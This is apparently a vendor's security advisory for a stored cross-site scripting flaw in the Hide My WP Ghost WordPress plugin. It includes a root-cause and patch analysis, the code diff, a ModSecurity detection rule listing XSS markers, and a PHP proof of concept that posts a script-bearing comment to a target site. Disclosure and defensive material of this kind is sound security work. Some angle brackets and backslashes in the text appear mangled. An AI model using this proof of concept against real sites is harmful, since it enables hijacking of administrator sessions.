Published : November 25, 2026

CVE-2026-119159: Hide My WP Ghost <= 7.0.15 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule

Plugin hide-my-wp
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.0.15
Patched Version 7.0.16
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-119159: This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the Hide My WP Ghost plugin for WordPress, versions up to and including 7.0.15. The flaw resides in the plugin’s URL rewriting engine, specifically in the replaceLinks() function of the HMWP_Models_Rewrite class (models/Rewrite.php). An attacker can inject arbitrary JavaScript into a comment that is stored and later executed when an administrator views the comment in the WordPress admin panel. The CVSS score is 7.2 (High). The vulnerability requires the plugin’s URL rewriting mode to be active (hmwp_mode not set to ‘default’) and the attacker to have a previously approved comment from the same author/email, which causes WordPress to auto-approve the attack comment.

Root Cause: The root cause is insufficient input sanitization and output escaping in the replaceLinks() method. When the plugin rewrites URLs in content, it uses regular expressions to find and replace links. At line 2795 of models/Rewrite.php, the function processes the third capture group ($found[3]) as a URL. However, the regex can match beyond the actual URL value and capture an angle bracket (”), which is not part of a valid URL. The plugin fails to validate that the captured string is a legitimate URL and instead processes it. Additionally, the code at lines 2826-2829 only checks for ‘../’ in the relative URL, but does not account for escaped slashes (‘/’), allowing path traversal sequences to bypass the check. This lack of proper validation and escaping allows an attacker to craft a comment containing a URL-like string that includes malicious script tags, which are then stored and later executed.

Exploitation: An attacker first posts a benign comment on a blog post and gets it approved (either by a moderator or by using the same email as a previously approved commenter). Then, the attacker submits a second comment containing a specially crafted payload within a link or URL-like structure. For example, the comment might include a string like ‘<a href="http://example.com/"alert(1)”>Click‘ or a URL that uses escaped slashes to break out of the intended context. Because the plugin’s URL rewriting routine processes this content and fails to sanitize the angle brackets, the script tag is stored in the database. When an administrator views the comment in the WordPress admin (e.g., on the Comments page), the injected JavaScript executes in the admin’s browser, leading to session hijacking or other malicious actions.

Patch Analysis: The patch (version 7.0.16) addresses the vulnerability in multiple ways. First, in models/Rewrite.php, the replaceLinks() function now checks if the captured URL contains ” (lines 2798-2800). If it does, the function returns the original match unmodified, preventing the injection of HTML tags. Second, the relative path check is enhanced to detect ‘../’ even when slashes are escaped as ‘/’ (lines 2826-2829), mitigating path traversal bypasses. Third, the X-XSS-Protection header is removed from the default security headers (classes/Tools.php and view/Firewall.php) because it is deprecated and can introduce XSS holes. Fourth, other unrelated security improvements are included, such as better IP whitelisting for 2FA, loopback protection in the file proxy, and a whitelist check for Nginx rules. These changes collectively prevent the XSS by ensuring that malicious URL-like strings are not rewritten and that angle brackets are not allowed in processed URLs.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a logged-in administrator’s browser. This can lead to session cookie theft, privilege escalation (by creating new admin accounts), defacement, or redirection to malicious sites. The vulnerability is stored, meaning the payload persists until removed. Given the high privilege of the victim (admin), the impact is severe, potentially leading to full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/hide-my-wp/classes/Tools.php
+++ b/hide-my-wp/classes/Tools.php
@@ -405,7 +405,6 @@
 			'hmwp_security_headers'          => array(
 				"Strict-Transport-Security" => "max-age=15768000;includeSubdomains",
 				"Content-Security-Policy"   => "object-src 'none'",
-				"X-XSS-Protection"          => "1; mode=block",
 			),
 			//--
 			'hmwp_detectors_block'           => 0,
@@ -587,6 +586,14 @@
 	 * @return void
 	 */
 	private static function updateDatabase() {
+		// X-XSS-Protection is deprecated and can open XSS holes, stop sending it (any version, re-packs included)
+		if ( isset( self::$options['hmwp_security_headers'] ) && is_array( self::$options['hmwp_security_headers'] ) && isset( self::$options['hmwp_security_headers']['X-XSS-Protection'] ) ) {
+			unset( self::$options['hmwp_security_headers']['X-XSS-Protection'] );
+			self::saveOptions();
+			// Rebuild the config file rules on the next admin page
+			set_transient( 'hmwp_update', 1 );
+		}
+
 		// Check if the plugin version is updated
 		if ( self::$options['hmwp_ver'] < HMWP_VERSION_ID ) {

@@ -653,7 +660,6 @@
 					self::$options['hmwp_security_headers'] = array(
 						"Strict-Transport-Security" => "max-age=63072000",
 						"Content-Security-Policy"   => "object-src 'none'",
-						"X-XSS-Protection"          => "1; mode=block",
 					);
 				}
 			}
--- a/hide-my-wp/controllers/Settings.php
+++ b/hide-my-wp/controllers/Settings.php
@@ -72,6 +72,25 @@
 	}

 	/**
+	 * Check if the Nginx config file holds rules the include line would load
+	 *
+	 * @return bool
+	 */
+	private function hasNginxRules() {
+		$config_file = HMWP_Classes_ObjController::getClass( 'HMWP_Models_Rules' )->getConfFile();
+		$wp_filesystem = HMWP_Classes_ObjController::initFilesystem();
+
+		if ( ! $config_file || ! $wp_filesystem->exists( $config_file ) ) {
+			return false;
+		}
+
+		// Settings like the Minimal preset write no rules, so there is nothing to include
+		$rules = preg_replace( '/^s*#.*$/m', '', (string) $wp_filesystem->get_contents( $config_file ) );
+
+		return trim( $rules ) !== '';
+	}
+
+	/**
 	 * Called on Menu hook
 	 * Init the Settings page
 	 *
@@ -97,7 +116,7 @@
 			include_once ABSPATH . '/wp-admin/includes/plugin.php';
 		}

-		if ( HMWP_Classes_Tools::isNginx() && HMWP_Classes_Tools::getOption( 'test_frontend' ) && HMWP_Classes_Tools::getOption( 'hmwp_mode' ) <> 'default' ) {
+		if ( HMWP_Classes_Tools::isNginx() && HMWP_Classes_Tools::getOption( 'test_frontend' ) && HMWP_Classes_Tools::getOption( 'hmwp_mode' ) <> 'default' && $this->hasNginxRules() ) {
 			$config_file = HMWP_Classes_ObjController::getClass( 'HMWP_Models_Rules' )->getConfFile();
 			if ( HMWP_Classes_Tools::isLocalFlywheel() ) {
 				if ( strpos( $config_file, '/includes/' ) !== false ) {
--- a/hide-my-wp/controllers/Twofactor.php
+++ b/hide-my-wp/controllers/Twofactor.php
@@ -193,10 +193,8 @@
 		}

 		// Don't block whitelisted IPs (matches the login flow behavior).
-		if ( isset( $_SERVER['REMOTE_ADDR'] ) ) { // phpcs:ignore WordPress.Security, check isset only
-			if ( HMWP_Classes_ObjController::getClass( 'HMWP_Models_Firewall_Rules' )->isWhitelistedIP( $_SERVER['REMOTE_ADDR'] ) ) { // phpcs:ignore WordPress.Security, filtered in isWhitelistedIP function
-				return;
-			}
+		if ( $this->isWhitelistedVisitor() ) {
+			return;
 		}

 		// Only force users in scope that haven't configured 2FA yet.
@@ -240,21 +238,16 @@
 	 */
 	public function hookLogin( $user_login, $user ) {

-		if ( isset( $_SERVER['REMOTE_ADDR'] ) ) { // phpcs:ignore WordPress.Security, check isset only
-			$ip = $_SERVER['REMOTE_ADDR']; // phpcs:ignore WordPress.Security, filtered in isWhitelistedIP function
-
-			if ( HMWP_Classes_ObjController::getClass( 'HMWP_Models_Firewall_Rules' )->isWhitelistedIP( $ip ) ) {
-				return;
-			}
-
-			if ( $this->model->isRememberDevice( $user->ID ) ) {
-				return;
-			}
+		if ( ! $user ) {
+			$user = wp_get_current_user();
+		}

+		if ( $this->isWhitelistedVisitor() ) {
+			return;
 		}

-		if ( ! $user ) {
-			$user = wp_get_current_user();
+		if ( $this->model->isRememberDevice( $user->ID ) ) {
+			return;
 		}
 		/** @var HMWP_Models_Twofactor_Passkey $passkeyService */
 		$passkeyService = HMWP_Classes_ObjController::getClass( 'HMWP_Models_Twofactor_Passkey' );
@@ -278,6 +271,24 @@
 	}

 	/**
+	 * Check if the visitor's IP is whitelisted, so the 2FA step is skipped
+	 *
+	 * @return bool
+	 * @throws Exception
+	 */
+	private function isWhitelistedVisitor() {
+		// Same visitor IP as the firewall and brute force, read through the proxy
+		$ip = HMWP_Classes_ObjController::getClass( 'HMWP_Models_Firewall_Server' )->getIp();
+
+		// A loopback IP means a proxy hid the visitor, never skip 2FA for it
+		if ( in_array( $ip, array( '127.0.0.1', '::1' ), true ) ) {
+			return false;
+		}
+
+		return HMWP_Classes_ObjController::getClass( 'HMWP_Models_Firewall_Rules' )->isWhitelistedIP( $ip );
+	}
+
+	/**
 	 * Get all 2FA logs
 	 *
 	 * @return array The array of 2FA logs
--- a/hide-my-wp/index.php
+++ b/hide-my-wp/index.php
@@ -6,7 +6,7 @@
   Plugin Name: WP Ghost Lite
   Plugin URI: https://wordpress.org/plugins/hide-my-wp/
   Description: Proactive WordPress Hack Prevention: Secure WP paths & login, firewall protection, brute force defense, 2FA, GEO security & bot blocking.
-  Version: 7.0.15
+  Version: 7.0.16
   Author: WP Ghost
   Company: MINBO QRE SRL
   Author URI: https://wpghost.com
@@ -24,7 +24,7 @@
 if ( ! defined( 'HMW_VERSION' ) ) {

 	//Set current plugin version
-	define( 'HMWP_VERSION', '7.0.15' );
+	define( 'HMWP_VERSION', '7.0.16' );

 	// Set the last stable version of the plugin
 	define( 'HMWP_STABLE_VERSION', '7.0.14' );
--- a/hide-my-wp/models/Files.php
+++ b/hide-my-wp/models/Files.php
@@ -272,6 +272,9 @@
 			}
 		}

+		// Mark the loopback so a nested showFile() won't proxy it again and loop
+		$headers['X-HMWP-Loopback'] = '1';
+
 		return apply_filters( 'hmwp_files_request_headers', $headers );
 	}

@@ -1024,6 +1027,10 @@
 						$this->saveCacheFile( $cachefile, $content );
 					}

+					// Send the body past the other plugins' buffers, as the cached path does,
+					// so none of them can change or cut the compressed content
+					$this->closeBuffers();
+
 					// Show the file html content
 					header( 'Content-Length: ' . strlen( $content ) );

@@ -1033,6 +1040,12 @@

 			} elseif ( stripos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_wp-json' ) . '/' ) !== false ) {

+					// Don't re-proxy a request we already looped back ourselves, or the
+					// legacy /wp-json/ proxy can pile up and take the site down
+					if ( ! empty( $_SERVER['HTTP_X_HMWP_LOOPBACK'] ) ) {
+						return;
+					}
+
 					$response = false;

 					if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' ) {
--- a/hide-my-wp/models/Rewrite.php
+++ b/hide-my-wp/models/Rewrite.php
@@ -2795,6 +2795,12 @@
 	public function replaceLinks( $found ) {
 		$url = $found[3];

+		// A real href/src/url value never holds an angle bracket; if the capture
+		// has one, the regex ran past a tag boundary (CVE-2026-119159) - leave it.
+		if ( strpos( $url, '<' ) !== false || strpos( $url, '>' ) !== false ) {
+			return $found[0];
+		}
+
 		//remove hashtags
 		if( strpos( $url, '#' ) !== false ){
 			$url = substr( $url, 0, strpos( $url, '#' ) );
@@ -2826,8 +2832,8 @@
 		$scheme    = $host = $path = '';
 		$backslash = false;

-		//if relative with preview dir
-		if ( strpos( $rel, "../" ) !== false ) {
+		//if relative with parent dir - unescape / first so ../ can't slip past (CVE-2026-119159)
+		if ( strpos( $rel, "../" ) !== false || strpos( str_replace( '/', '/', $rel ), "../" ) !== false ) {
 			return $rel;
 		}

@@ -3217,7 +3223,8 @@
 			$find[]    = '/(<style[^>]*)[s]id=['"][0-9a-zA-Z._-]+['"]([^>]*>)/i';
 			$replace[] = '$1 $2';

-			$find[]    = '/(<script[^>]*)[s]id=['"][0-9a-zA-Z._-]+['"]([^>]*>)/i';
+			// Only the WordPress script handles (-js, -js-extra, ...); template and data ids are read by JS
+			$find[]    = '/(<script[^>]*)[s]id=['"][0-9a-zA-Z._-]+-js(?:-extra|-before|-after|-translations)?['"]([^>]*>)/i';
 			$replace[] = '$1 $2';

 			$find[]    = '/<meta[^>]*name=['"]msapplication-TileImage['"][^>]*>/i';
--- a/hide-my-wp/view/Firewall.php
+++ b/hide-my-wp/view/Firewall.php
@@ -300,9 +300,6 @@
                                 <div class="text-black-50 col-sm-12 p-0 ml-5"><?php echo esc_html__( "Add Content-Security-Policy header", 'hide-my-wp' ); ?>
                                     <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" target="_blank"><?php echo esc_html__( 'more details', 'hide-my-wp' ) ?></a>
                                 </div>
-                                <div class="text-black-50 col-sm-12 p-0 ml-5"><?php echo esc_html__( "Add X-XSS-Protection header", 'hide-my-wp' ); ?>
-                                    <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection" target="_blank"><?php echo esc_html__( 'more details', 'hide-my-wp' ) ?></a>
-                                </div>
                                 <div class="text-black-50 col-sm-12 p-0 ml-5"><?php echo esc_html__( "Add X-Content-Type-Options header", 'hide-my-wp' ); ?>
                                     <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options" target="_blank"><?php echo esc_html__( 'more details', 'hide-my-wp' ) ?></a>
                                 </div>
@@ -322,10 +319,6 @@
 										"title"   => "Adds layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks.",
 										"link"    => "https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",
 										"default" => "object-src 'none'"
-									), "X-XSS-Protection"             => array(
-										"title"   => "Stops pages from loading when they detect reflected cross-site scripting (XSS) attacks.",
-										"link"    => "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection",
-										"default" => "1; mode=block"
 									), "X-Content-Type-Options"       => array(
 										"title"   => "Blocks content sniffing that could transform non-executable MIME types into executable MIME types.",
 										"link"    => "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options",
--- a/hide-my-wp/view/Permalinks.php
+++ b/hide-my-wp/view/Permalinks.php
@@ -13,6 +13,8 @@
     }
     ?>
     <style>#hmwp_wrap .hmwp_nav .hmwp_nav_item:nth-child(n+3){display: none}</style>
+    <?php // On phones the confirmation-card action rows stack instead of scrolling the page sideways ?>
+    <style>@media (max-width:820px){#hmwp_wrap .hmwp_pc_row{flex-direction:column !important;align-items:stretch !important}#hmwp_wrap .hmwp_pc_row>*{width:100%;margin-left:0 !important}#hmwp_wrap .hmwp_pc_row>*+*{margin-top:.75rem}#hmwp_wrap .hmwp_pc_row .btn{white-space:normal}}</style>
     <div class="hmwp_row d-flex flex-row p-0 m-0">
         <?php do_action('hmwp_notices'); ?>
         <div class="hmwp_col flex-grow-1 p-0 pr-2 mr-2 mb-3">
--- a/hide-my-wp/view/blocks/FrontendLoginCheck.php
+++ b/hide-my-wp/view/blocks/FrontendLoginCheck.php
@@ -64,7 +64,7 @@
             </table>
         </div>

-        <div class="col-sm-12 px-4 py-3 border-top d-flex flex-row align-items-center">
+        <div class="col-sm-12 px-4 py-3 border-top d-flex flex-row align-items-center hmwp_pc_row">
             <div class="hmwp_confirm">
                 <form method="POST" class="m-0">
 					<?php wp_nonce_field( 'hmwp_confirm', 'hmwp_nonce' ); ?>
--- a/hide-my-wp/view/blocks/Ghostdoctor.php
+++ b/hide-my-wp/view/blocks/Ghostdoctor.php
@@ -35,7 +35,7 @@
 		// it was left aligned left a column of empty space down the middle and
 		// made one card read as two unrelated ones.
 		?>
-        <div class="col-sm-12 px-4 py-4 d-flex flex-row justify-content-between align-items-center">
+        <div class="col-sm-12 px-4 py-4 d-flex flex-row justify-content-between align-items-center hmwp_pc_row">

             <div class="pr-4">

@@ -239,7 +239,7 @@
 		<?php } ?>

 		<?php if ( $pending ) { ?>
-            <div class="col-sm-12 px-4 py-3 d-flex flex-row justify-content-between align-items-center border-top">
+            <div class="col-sm-12 px-4 py-3 d-flex flex-row justify-content-between align-items-center border-top hmwp_pc_row">
                 <div class="text-muted small">
 					<?php echo esc_html__( 'Check your website now. If anything looks wrong, undo the changes.', 'hide-my-wp' ); ?>
                 </div>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-119159
SecRule REQUEST_URI "@streq /wp-comments-post.php" "id:2026119159,phase:2,deny,status:403,chain,msg:'CVE-2026-119159 via comment post XSS',severity:'CRITICAL',tag:'CVE-2026-119159'"
  SecRule ARGS_POST:comment "@rx (<script|javascript:|onerror=|onload=|svg/onload=)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-119159 - Hide My WP Ghost <= 7.0.15 - Unauthenticated Stored XSS via Comment Content

$target_url = 'http://example.com'; // Change to the target WordPress site

// Step 1: Post a benign comment to get approved (if not already done)
// We assume the attacker has a previously approved comment with the same email.

// Step 2: Post the malicious comment with XSS payload
$comment_data = array(
    'comment_post_ID' => 1, // Replace with a valid post ID
    'author' => 'Attacker',
    'email' => 'attacker@example.com', // Must match previously approved comment
    'comment' => 'Check this link: <a href="http://example.com/"<script>alert(1)</script>">Click here</a>',
    'submit' => 'Post Comment'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 302 || $http_code == 200) {
    echo "Comment posted successfully. The XSS payload will execute when an admin views the comment.n";
} else {
    echo "Failed to post comment. HTTP code: $http_coden";
}

// Note: The payload may need to be adjusted based on the exact regex behavior of the plugin.
// The URL rewriting mode must be active (hmwp_mode != 'default') for the vulnerability to trigger.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.